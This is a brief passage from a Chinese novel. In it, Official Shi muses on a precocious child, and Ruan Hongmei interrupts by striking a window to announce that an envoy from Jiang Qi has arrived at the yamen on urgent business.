虽然有关陈谦年龄的问题,他有听没懂,不过施大人很能包容,只想着,“小孩子嘛,胡思乱想很正常,如此早慧一点就通已是难得,连我家醒儿都未必能做到。” 正当这时,那扇被拍坏的窗户又受到重击,茶壶滑开翻倒,差点砸在地上。 阮红梅这手劲是真不小,动静也是真大,施且随和纪木棉刚刚还各怀心事,这会儿全心全意,都看向了她,阮红梅开朗,“哈哈”笑了两声,“抱歉抱歉……衙门外头来了人——姜祈派来的,说有要事相商。”